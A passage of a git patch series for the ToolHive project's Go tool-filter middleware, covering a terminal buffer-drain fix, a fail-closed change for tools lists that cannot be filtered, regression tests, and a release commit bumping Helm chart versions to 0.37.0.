authz's response filter) may write the final + // body into our buffer during its own post-ServeHTTP flush; without this + // call that body is stranded and the client gets a 0-byte response. See #5797. + rw.Flush() }) }, nil } @@ -343,6 +349,7 @@ func (rw *toolFilterWriter) Flush() { if err != nil { slog.Error("error writing buffer", "error", err) } + rw.buffer = rw.buffer[:0] // Reset buffer return } diff --git a/pkg/mcp/tool_filter_test.go b/pkg/mcp/tool_filter_test.go index 43d749ac41..347741d710 100644 --- a/pkg/mcp/tool_filter_test.go +++ b/pkg/mcp/tool_filter_test.go @@ -7,6 +7,7 @@ import ( "bytes" "encoding/json" "net/http" + "net/http/httptest" "testing" "github.com/stretchr/testify/assert" @@ -1184,7 +1185,7 @@ func TestToolFilterWriter_Flush(t *testing.T) { }, }, expectWrite: true, - expectReset: false, // Buffer is not reset when no content type + expectReset: true, }, { name: "with status code - should set header and write", @@ -1252,6 +1253,35 @@ func TestToolFilterWriter_Flush(t *testing.T) { } } +// TestToolFilterWriter_Flush_NoContentTypeDoesNotDuplicateOnRepeatedFlush is a +// regression test: the no-content-type branch of Flush() used to skip resetting +// the buffer, so a second Flush() call (e.g. the post-ServeHTTP drain added for +// #5797, on top of a downstream flush) would rewrite the same bytes again. +func TestToolFilterWriter_Flush_NoContentTypeDoesNotDuplicateOnRepeatedFlush(t *testing.T) { + t.Parallel() + + mockWriter := &mockResponseWriter{ + headers: make(http.Header), + buffer: &bytes.Buffer{}, + } + + rw := &toolFilterWriter{ + ResponseWriter: mockWriter, + buffer: []byte{}, + config: &toolMiddlewareConfig{}, + } + + data := []byte(`{"test":"data"}`) + written, err := rw.Write(data) + require.NoError(t, err) + assert.Equal(t, len(data), written) + + rw.Flush() + rw.Flush() + + assert.Equal(t, string(data), mockWriter.buffer.String(), "second flush should not rewrite already-flushed bytes") +} + // TestToolFilterWriter_WriteHeader verifies that Content-Length is stripped // from the underlying ResponseWriter's headers regardless of content type. // The middleware re-encodes tool list responses to apply filters/overrides, @@ -1500,3 +1530,42 @@ func TestWithToolsOverride(t *testing.T) { }) } } + +// TestNewListToolsMappingMiddleware_FlushesStrandedBuffer is a regression test for #5797. +// +// An inner handler (e.g. authz's response filtering writer) may write the final +// response body into our buffer during its own post-ServeHTTP flush, i.e. after +// next.ServeHTTP has already returned to us but without calling our Flush(). If +// the middleware doesn't explicitly flush its own writer after next.ServeHTTP +// returns, that body is stranded in the buffer and never reaches the client. +func TestNewListToolsMappingMiddleware_FlushesStrandedBuffer(t *testing.T) { + t.Parallel() + + middleware, err := NewListToolsMappingMiddleware(WithToolsFilter("tool1")) + require.NoError(t, err) + + body := `{"jsonrpc":"2.0","id":1,"result":{"tools":[` + + `{"name":"tool1","description":"desc1"},` + + `{"name":"tool2","description":"desc2"}]}}` + + // Mimics an inner buffering middleware (e.g. authz's FlushAndFilter) that + // writes the response body directly into the wrapped writer without ever + // calling Flush() on it itself. + inner := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + _, writeErr := w.Write([]byte(body)) + require.NoError(t, writeErr) + }) + + handler := middleware(inner) + + req := httptest.NewRequest(http.MethodPost, "/", nil) + recorder := httptest.NewRecorder() + + handler.ServeHTTP(recorder, req) + + assert.NotEmpty(t, recorder.Body.String()) + assert.Contains(t, recorder.Body.String(), "tool1") + assert.NotContains(t, recorder.Body.String(), "tool2") +} From 90539bbb40fe56c934b2c3a09a14fffa4aa95043 Mon Sep 17 00:00:00 2001 From: "toolhive-release-app[bot]" <280093410+toolhive-release-app[bot]@users.noreply.github.com> Date: Wed, 15 Jul 2026 14:39:20 +0200 Subject: [PATCH 52/66] Release v0.37.0 (#5811) Update release files Release-Triggered-By: eleftherias Co-authored-by: toolhive-release-app[bot] <280093410+toolhive-release-app[bot]@users.noreply.github.com> --- VERSION | 2 +- deploy/charts/operator-crds/Chart.yaml | 4 ++-- deploy/charts/operator-crds/README.md | 2 +- deploy/charts/operator/Chart.yaml | 4 ++-- deploy/charts/operator/README.md | 10 +++++----- deploy/charts/operator/values.yaml | 6 +++--- 6 files changed, 14 insertions(+), 14 deletions(-) diff --git a/VERSION b/VERSION index 93d4c1ef06..0f1a7dfc7c 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.36.0 +0.37.0 diff --git a/deploy/charts/operator-crds/Chart.yaml b/deploy/charts/operator-crds/Chart.yaml index 0a2866a436..37e8a7a2f6 100644 --- a/deploy/charts/operator-crds/Chart.yaml +++ b/deploy/charts/operator-crds/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator-crds description: A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. type: application -version: 0.36.0 -appVersion: "v0.36.0" +version: 0.37.0 +appVersion: "v0.37.0" diff --git a/deploy/charts/operator-crds/README.md b/deploy/charts/operator-crds/README.md index 61a759966c..cfae4df6e1 100644 --- a/deploy/charts/operator-crds/README.md +++ b/deploy/charts/operator-crds/README.md @@ -1,6 +1,6 @@ # ToolHive Operator CRDs Helm Chart -![Version: 0.36.0](https://img.shields.io/badge/Version-0.36.0-informational?style=flat-square) +![Version: 0.37.0](https://img.shields.io/badge/Version-0.37.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. diff --git a/deploy/charts/operator/Chart.yaml b/deploy/charts/operator/Chart.yaml index 9b9425289a..031a4f8cd8 100644 --- a/deploy/charts/operator/Chart.yaml +++ b/deploy/charts/operator/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator description: A Helm chart for deploying the ToolHive Operator into Kubernetes. type: application -version: 0.36.0 -appVersion: "v0.36.0" +version: 0.37.0 +appVersion: "v0.37.0" diff --git a/deploy/charts/operator/README.md b/deploy/charts/operator/README.md index 7afe4696fc..af6d4d45ca 100644 --- a/deploy/charts/operator/README.md +++ b/deploy/charts/operator/README.md @@ -1,6 +1,6 @@ # ToolHive Operator Helm Chart -![Version: 0.36.0](https://img.shields.io/badge/Version-0.36.0-informational?style=flat-square) +![Version: 0.37.0](https://img.shields.io/badge/Version-0.37.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for deploying the ToolHive Operator into Kubernetes. @@ -46,7 +46,7 @@ The command removes all the Kubernetes components associated with the chart and |-----|------|---------|-------------| | fullnameOverride | string | `"toolhive-operator"` | Provide a fully-qualified name override for resources | | nameOverride | string | `""` | Override the name of the chart | -| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.36.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.36.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.36.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | +| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.37.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.37.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.37.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | | operator.affinity | object | `{}` | Affinity settings for the operator pod | | operator.autoscaling | object | `{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80}` | Configuration for horizontal pod autoscaling | | operator.autoscaling.enabled | bool | `false` | Enable autoscaling for the operator | @@ -65,7 +65,7 @@ The command removes all the Kubernetes components associated with the chart and | operator.gc | object | `{"gogc":75,"gomemlimit":"110MiB"}` | Go memory limits and garbage collection percentage for the operator container | | operator.gc.gogc | int | `75` | Go garbage collection percentage for the operator container | | operator.gc.gomemlimit | string | `"110MiB"` | Go memory limits for the operator container | -| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.36.0"` | Container image for the operator | +| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.37.0"` | Container image for the operator | | operator.imagePullPolicy | string | `"IfNotPresent"` | Image pull policy for the operator container | | operator.imagePullSecrets | list | `[]` | List of image pull secrets to use | | operator.leaderElectionRole | object | `{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]}` | Leader election role configuration | @@ -92,8 +92,8 @@ The command removes all the Kubernetes components associated with the chart and | operator.serviceAccount.labels | object | `{}` | Labels to add to the service account | | operator.serviceAccount.name | string | `"toolhive-operator"` | The name of the service account to use. If not set and create is true, a name is generated. | | operator.tolerations | list | `[]` | Tolerations for the operator pod | -| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.36.0"` | Image to use for Toolhive runners | -| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.36.0"` | Image to use for Virtual MCP Server (vMCP) deployments | +| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.37.0"` | Image to use for Toolhive runners | +| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.37.0"` | Image to use for Virtual MCP Server (vMCP) deployments | | operator.volumeMounts | list | `[]` | Additional volume mounts on the operator container | | operator.volumes | list | `[]` | Additional volumes to mount on the operator pod | | registryAPI | object | `{"image":"ghcr.io/stacklok/thv-registry-api:v1.3.0"}` | All values for the registry API deployment and associated resources | diff --git a/deploy/charts/operator/values.yaml b/deploy/charts/operator/values.yaml index e5bd57e59c..b92c89db20 100644 --- a/deploy/charts/operator/values.yaml +++ b/deploy/charts/operator/values.yaml @@ -59,15 +59,15 @@ operator: existingSecretKey: "" # -- Container image for the operator - image: ghcr.io/stacklok/toolhive/operator:v0.36.0 + image: ghcr.io/stacklok/toolhive/operator:v0.37.0 # -- Image pull policy for the operator container imagePullPolicy: IfNotPresent # -- Image to use for Toolhive runners - toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.36.0 + toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.37.0 # -- Image to use for Virtual MCP Server (vMCP) deployments - vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.36.0 + vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.37.0 # -- Host for the proxy deployed by the operator proxyHost: 0.0.0.0 From 30ecff0194f12642e504f0f9d115ad830abaa775 Mon Sep 17 00:00:00 2001 From: Alejandro Ponce de Leon Date: Wed, 15 Jul 2026 17:32:59 +0300 Subject: [PATCH 53/66] Fix tool-filter terminal drain dropping error bodies (#5816) * Stop tool-filter terminal drain from dropping error bodies The unconditional Flush() added in #5809 to drain the tool-filter buffer after ServeHTTP returns shares its buffer-processing logic with the streaming Flush() path. For any body whose Content-Type isn't application/json or text/event-stream (e.g. a plain-text error from http.Error), processBuffer() rejects it as unsupported and the shared logic discarded the original bytes, sending an empty body to the client despite the correct status code. Split the terminal drain into its own method that passes an unprocessable body through unchanged instead of discarding it, since there's no further chance to flush it once ServeHTTP has returned. Flush() keeps its existing streaming semantics. * Fail closed on tools-list filtering failures, not raw pass-through Review feedback on the terminal-drain fix (PR #5816) found three gaps: - drainBuffer() passed the raw body through on ANY processing error, including a malformed tools/list (e.g. a tool missing its required name) that failed filtering -- leaking the unfiltered list instead of failing closed. - A missing/mislabeled Content-Type on an otherwise-valid, successful tools/list response bypassed filtering entirely, since the "no content type" path wrote the buffer through unconditionally. - Flush() unconditionally forwarded the transport-level flush after drainBuffer(false), even when the buffer was incomplete and nothing new had been written, whereas the original implementation withheld it in that case. Distinguish "unrecognized/error body, safe to pass through" from "a tools list we failed to filter, must not leak" via a sentinel error. For a 2xx response with an unsupported/missing Content-Type, sniff the raw body the same way a correctly-labeled response would be processed (mirrors the disguised-result handling in pkg/authz for #5257) so a backend can't smuggle an unfiltered list past the filter just by omitting the header. drainBuffer() now reports whether it made progress, so Flush() only forwards the transport flush when it did. --- pkg/mcp/tool_filter.go | 253 ++++++++++++++++++++------ pkg/mcp/tool_filter_test.go | 348 +++++++++++++++++++++++++++++++++--- 2 files changed, 529 insertions(+), 72 deletions(-) diff --git a/pkg/mcp/tool_filter.go b/pkg/mcp/tool_filter.go index 792e44ea3b..e277bbe788 100644 --- a/pkg/mcp/tool_filter.go +++ b/pkg/mcp/tool_filter.go @@ -19,6 +19,7 @@ import ( var errToolNameNotFound = errors.New("tool name not found") var errBug = errors.New("there's a bug") var errKeepBuffering = errors.New("keep buffering") +var errUnsupportedMimeType = errors.New("unsupported mime type") // toolOverrideEntry is a struct that represents a tool override entry. type toolOverrideEntry struct { @@ -189,6 +190,7 @@ func NewListToolsMappingMiddleware(opts ...ToolMiddlewareOption) (types.Middlewa rw := &toolFilterWriter{ ResponseWriter: w, config: config, + statusCode: http.StatusOK, // matches net/http's implicit status when WriteHeader is never called } // Call the next handler @@ -198,7 +200,11 @@ func NewListToolsMappingMiddleware(opts ...ToolMiddlewareOption) (types.Middlewa // buffering middleware (e.g. authz's response filter) may write the final // body into our buffer during its own post-ServeHTTP flush; without this // call that body is stranded and the client gets a 0-byte response. See #5797. - rw.Flush() + // + // This is the terminal drain, not a streaming Flush: there is no more data + // coming, so a body we can't process (wrong/missing content type, malformed + // tools list) is written through unchanged rather than dropped. See #5809 (review). + rw.finish() }) }, nil } @@ -317,8 +323,9 @@ func NewToolCallMappingMiddleware(opts ...ToolMiddlewareOption) (types.Middlewar // toolFilterWriter wraps http.ResponseWriter to capture and process SSE responses type toolFilterWriter struct { http.ResponseWriter - buffer []byte - config *toolMiddlewareConfig + buffer []byte + config *toolMiddlewareConfig + statusCode int } // WriteHeader captures the status code. @@ -329,6 +336,7 @@ type toolFilterWriter struct { // Content-Length" and the client receives only the headers. Removing the // header lets Go fall back to chunked transfer encoding. func (rw *toolFilterWriter) WriteHeader(statusCode int) { + rw.statusCode = statusCode rw.ResponseWriter.Header().Del("Content-Length") rw.ResponseWriter.WriteHeader(statusCode) } @@ -339,41 +347,110 @@ func (rw *toolFilterWriter) Write(data []byte) (int, error) { return len(data), nil } -// Flush processes any remaining buffered data and writes it to the underlying ResponseWriter +// Flush processes any remaining buffered data, writes it to the underlying +// ResponseWriter, and forwards the flush downstream. This is the interim/ +// streaming path: a downstream handler or reverse proxy may call this +// mid-response, so an incomplete SSE event or partial JSON body is left +// buffered for a later call to complete, and the transport flush is not +// forwarded in that case -- there's nothing new to push over the wire, and +// forwarding it could send a still-incomplete frame. Use finish() for the +// one-time terminal drain after the wrapped handler has returned. func (rw *toolFilterWriter) Flush() { - if len(rw.buffer) > 0 { - mimeType := strings.Split(rw.ResponseWriter.Header().Get("Content-Type"), ";")[0] + if !rw.drainBuffer(false) { + return + } - if mimeType == "" { - _, err := rw.ResponseWriter.Write(rw.buffer) - if err != nil { - slog.Error("error writing buffer", "error", err) - } - rw.buffer = rw.buffer[:0] // Reset buffer - return - } + if flusher, ok := rw.ResponseWriter.(http.Flusher); ok { + flusher.Flush() + } +} + +// finish performs the terminal drain of any remaining buffered data after the +// wrapped handler has returned. Unlike Flush, there is no more data coming: +// an incomplete body (a truncated stream, a connection cut short) is written +// through unchanged rather than held forever, and an unrecognized/missing +// Content-Type on a response with nothing to filter is likewise passed +// through as-is. It does not forward a transport flush, since returning from +// ServeHTTP already completes the response. +// +// A body that DOES look like a tools list but fails to filter is the one +// case finish() will not pass through -- see drainBuffer. +func (rw *toolFilterWriter) finish() { + rw.drainBuffer(true) +} + +// drainBuffer processes the buffered response body according to its MIME +// type and writes the result to the underlying ResponseWriter. It reports +// whether the caller may safely forward a transport-level flush: false means +// data is being deliberately withheld, either because it's incomplete and +// more is expected (Flush, non-terminal) or because it looked like a tools +// list we could not safely filter (fail closed, in both Flush and finish). +// +// When terminal is false (Flush, mid-stream), a body processBuffer reports as +// incomplete is left buffered for a later call. When terminal is true +// (finish, called once ServeHTTP has returned), there won't be a later call, +// so an incomplete body is written through unchanged instead of being +// stranded. +// +// A hard filtering failure -- a response that resolved to a tools list +// (whether correctly labeled or sniffed, see processUnrecognizedMimeType) but +// couldn't be filtered, e.g. a tool missing its required name -- is never +// passed through, in either mode: doing so would leak the unfiltered list. +func (rw *toolFilterWriter) drainBuffer(terminal bool) bool { + if len(rw.buffer) == 0 { + return true + } - var b bytes.Buffer - err := processBuffer(rw.config, rw.buffer, mimeType, &b) - if errors.Is(err, errKeepBuffering) { + mimeType := strings.Split(rw.ResponseWriter.Header().Get("Content-Type"), ";")[0] + successResponse := rw.statusCode == http.StatusOK || rw.statusCode == http.StatusAccepted + + var b bytes.Buffer + err := processBuffer(rw.config, rw.buffer, mimeType, successResponse, &b) + + switch { + case errors.Is(err, errKeepBuffering): + if !terminal { slog.Debug("keep buffering", "buffered_bytes", len(rw.buffer)) - return - } - if err != nil { - slog.Error("error flushing response", "error", err) + return false } + slog.Warn("response ended with an incomplete buffered body; writing it through unchanged", + "buffered_bytes", len(rw.buffer)) + rw.writeBuffer(rw.buffer) + return true + case errors.Is(err, errUnsupportedMimeType): + // processBuffer only returns this once it has ruled out the buffer being + // a tools list: either the response has nothing to filter (a non-2xx + // error body), or it's a 2xx body that doesn't look like a tools list + // under either supported wire format. Either way, passing it through + // unchanged cannot leak an unfiltered list. + rw.writeBuffer(rw.buffer) + return true + + case err != nil: + // A recognized (or sniffed) tools list that failed to filter -- e.g. a + // malformed tool entry. Fail closed: writing the raw, unfiltered body + // through would defeat the filter entirely. + slog.Error("error filtering buffered response; refusing to pass through unfiltered", "error", err) + rw.buffer = rw.buffer[:0] + return false + + default: slog.Debug("flushing buffer", "bytes", len(b.Bytes())) - _, err = rw.ResponseWriter.Write(b.Bytes()) - if err != nil { - slog.Error("error writing buffer", "error", err) - } - rw.buffer = rw.buffer[:0] // Reset buffer + rw.writeBuffer(b.Bytes()) + return true } +} - if flusher, ok := rw.ResponseWriter.(http.Flusher); ok { - flusher.Flush() +// writeBuffer writes data to the underlying ResponseWriter and resets rw.buffer. +// data is expected to be either rw.buffer itself or a value derived from it, so +// resetting after the write is always correct. +func (rw *toolFilterWriter) writeBuffer(data []byte) { + _, err := rw.ResponseWriter.Write(data) + if err != nil { + slog.Error("error writing buffer", "error", err) } + rw.buffer = rw.buffer[:0] // Reset buffer } type toolsListResponse struct { @@ -391,11 +468,16 @@ type toolCallRequest struct { Params *map[string]any `json:"params,omitempty"` } -// processSSEBuffer processes any complete SSE events in the buffer +// processBuffer processes the buffered response body according to its +// declared MIME type. successResponse indicates whether the response's +// status code was 200/202: it's only consulted for an unrecognized MIME type, +// to decide whether the body needs sniffing before it can safely be passed +// through -- see processUnrecognizedMimeType. func processBuffer( config *toolMiddlewareConfig, buffer []byte, mimeType string, + successResponse bool, w io.Writer, ) error { if len(buffer) == 0 { @@ -404,34 +486,103 @@ func processBuffer( switch mimeType { case "application/json": - var toolsListResponse toolsListResponse - var syntaxError *json.SyntaxError - err := json.Unmarshal(buffer, &toolsListResponse) - if errors.As(err, &syntaxError) { - return fmt.Errorf("%w: %w", errKeepBuffering, err) - } - if err == nil && toolsListResponse.Result.Tools != nil { - return processToolsListResponse(config, toolsListResponse, w) - } + return processJSONBuffer(config, buffer, w) case "text/event-stream": return processEventStream(config, buffer, w) default: - // NOTE: Content-Type header is mandatory in the spec, and as of the - // time of this writing, the only allowed content types are - // * application/json, and - // * text/event-stream - // - // As a result, we should never get here and it is safe to return an - // error. - return fmt.Errorf("unsupported mime type: %s", mimeType) - } - - // If we get this far, we have a valid buffer that we cannot process - // in any other way, so we just write it to the underlying writer. - _, err := w.Write(buffer) + return processUnrecognizedMimeType(config, buffer, mimeType, successResponse, w) + } +} + +// processJSONBuffer filters a JSON-RPC response body if it carries a tools +// list, otherwise passes it through unchanged (e.g. a tools/call result, or +// any other JSON-RPC message this middleware isn't meant to touch). +func processJSONBuffer(config *toolMiddlewareConfig, buffer []byte, w io.Writer) error { + var toolsListResponse toolsListResponse + var syntaxError *json.SyntaxError + err := json.Unmarshal(buffer, &toolsListResponse) + if errors.As(err, &syntaxError) { + return fmt.Errorf("%w: %w", errKeepBuffering, err) + } + if err == nil && toolsListResponse.Result.Tools != nil { + return processToolsListResponse(config, toolsListResponse, w) + } + + _, err = w.Write(buffer) return err } +// processUnrecognizedMimeType handles a body whose Content-Type is missing or +// isn't one of the two MCP-supported types (application/json, +// text/event-stream). +// +// A non-2xx response has nothing to filter -- the tool filter only ever acts +// on a tools/list result, which a non-2xx status can't carry -- so it's +// always safe to pass through. +// +// A 2xx response, on the other hand, is spec-required to declare one of the +// two supported Content-Types. A missing or wrong header there could be an +// accident, or a backend deliberately omitting/mislabeling it to smuggle an +// unfiltered tools list past the filter (the same disguised-result concern +// handled in pkg/authz for #5257). So the raw body is sniffed the same way a +// correctly-labeled response would be processed: if it resolves to a tools +// list under either supported shape, it's filtered (or, on failure, rejected) +// exactly as it would be under the correct Content-Type. Only once neither +// shape resolves to a tools list is it safe to pass through unchanged. +// +// Known limitation: unlike the correctly-labeled paths, this sniff has no +// notion of "incomplete, wait for more" -- a tools list that both omits/ +// mislabels its Content-Type AND arrives across multiple Flush() calls may +// be sniffed as "not a tools list" on an early, truncated call and passed +// through piecemeal before the full body is available. A compliant backend +// that streams a tools list always declares text/event-stream, so this only +// affects a backend that is already violating the spec on two axes at once. +func processUnrecognizedMimeType( + config *toolMiddlewareConfig, + buffer []byte, + mimeType string, + successResponse bool, + w io.Writer, +) error { + if !successResponse { + return fmt.Errorf("%w: %s", errUnsupportedMimeType, mimeType) + } + + var candidate toolsListResponse + if err := json.Unmarshal(buffer, &candidate); err == nil && candidate.Result.Tools != nil { + return processToolsListResponse(config, candidate, w) + } + + if sniffSSEToolsList(buffer) { + return processEventStream(config, buffer, w) + } + + return fmt.Errorf("%w: %s", errUnsupportedMimeType, mimeType) +} + +// sniffSSEToolsList reports whether buffer contains an SSE "data:" line whose +// payload decodes to a tools list. It's a lightweight detector only, used to +// decide whether a mislabeled/untyped 2xx body needs the full SSE processing +// path (which enforces its own completeness and separator rules). +func sniffSSEToolsList(buffer []byte) bool { + normalized := bytes.ReplaceAll(buffer, []byte("\r\n"), []byte("\n")) + normalized = bytes.ReplaceAll(normalized, []byte("\r"), []byte("\n")) + + for _, line := range bytes.Split(normalized, []byte("\n")) { + data, ok := bytes.CutPrefix(line, []byte("data:")) + if !ok { + continue + } + + var candidate toolsListResponse + if json.Unmarshal(bytes.TrimSpace(data), &candidate) == nil && candidate.Result.Tools != nil { + return true + } + } + + return false +} + //nolint:gocyclo func processEventStream( config *toolMiddlewareConfig, diff --git a/pkg/mcp/tool_filter_test.go b/pkg/mcp/tool_filter_test.go index 347741d710..58de837dc9 100644 --- a/pkg/mcp/tool_filter_test.go +++ b/pkg/mcp/tool_filter_test.go @@ -6,6 +6,7 @@ package mcp import ( "bytes" "encoding/json" + "errors" "net/http" "net/http/httptest" "testing" @@ -838,11 +839,14 @@ func TestProcessBuffer(t *testing.T) { t.Parallel() tests := []struct { - name string - config *toolMiddlewareConfig - buffer []byte - mimeType string - expectError bool + name string + config *toolMiddlewareConfig + buffer []byte + mimeType string + successResponse bool + expectError bool + expectUnsupported bool + expectFiltered bool // asserts allowed_tool survives and blocked_tool is filtered out }{ { name: "JSON with tools list", @@ -851,9 +855,10 @@ func TestProcessBuffer(t *testing.T) { "allowed_tool": {}, }, }, - buffer: []byte(`{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","description":"Allowed"},{"name":"blocked_tool","description":"Blocked"}]}}`), - mimeType: "application/json", - expectError: false, + buffer: []byte(`{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","description":"Allowed"},{"name":"blocked_tool","description":"Blocked"}]}}`), + mimeType: "application/json", + successResponse: true, + expectFiltered: true, }, { name: "SSE with tools list", @@ -866,19 +871,80 @@ func TestProcessBuffer(t *testing.T) { data: {"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","description":"Allowed"},{"name":"blocked_tool","description":"Blocked"}]}} `), - mimeType: "text/event-stream", - expectError: false, + mimeType: "text/event-stream", + successResponse: true, + expectFiltered: true, }, { - name: "Unsupported mime type", + name: "Unsupported mime type on an error response", config: &toolMiddlewareConfig{ filterTools: map[string]struct{}{ "any_tool": {}, }, }, - buffer: []byte(`some data`), - mimeType: "text/plain", - expectError: true, + buffer: []byte(`some data`), + mimeType: "text/plain", + successResponse: false, + expectError: true, + expectUnsupported: true, + }, + { + name: "Unsupported mime type on a success response that isn't a tools list", + config: &toolMiddlewareConfig{ + filterTools: map[string]struct{}{ + "any_tool": {}, + }, + }, + buffer: []byte(`{"test":"data"}`), + mimeType: "", + successResponse: true, + expectError: true, + expectUnsupported: true, + }, + { + // Regression test for a follow-up to #5809: a backend cannot bypass + // the filter by omitting/mislabeling Content-Type on an otherwise + // valid, successful tools/list response. + name: "Missing Content-Type on a success response cannot smuggle a JSON tools list", + config: &toolMiddlewareConfig{ + filterTools: map[string]struct{}{ + "allowed_tool": {}, + }, + }, + buffer: []byte(`{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","description":"Allowed"},{"name":"blocked_tool","description":"Blocked"}]}}`), + mimeType: "", + successResponse: true, + expectFiltered: true, + }, + { + name: "Missing Content-Type on a success response cannot smuggle an SSE tools list", + config: &toolMiddlewareConfig{ + filterTools: map[string]struct{}{ + "allowed_tool": {}, + }, + }, + buffer: []byte(`event: message +data: {"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","description":"Allowed"},{"name":"blocked_tool","description":"Blocked"}]}} + +`), + mimeType: "", + successResponse: true, + expectFiltered: true, + }, + { + // Regression test for a follow-up to #5809: a hard filtering failure + // (a tool missing its required name) must fail closed, not fall back + // to passing the unfiltered body through. + name: "Malformed tools list under a sniffed missing Content-Type fails closed", + config: &toolMiddlewareConfig{ + filterTools: map[string]struct{}{ + "allowed_tool": {}, + }, + }, + buffer: []byte(`{"jsonrpc":"2.0","id":1,"result":{"tools":[{"description":"no name"}]}}`), + mimeType: "", + successResponse: true, 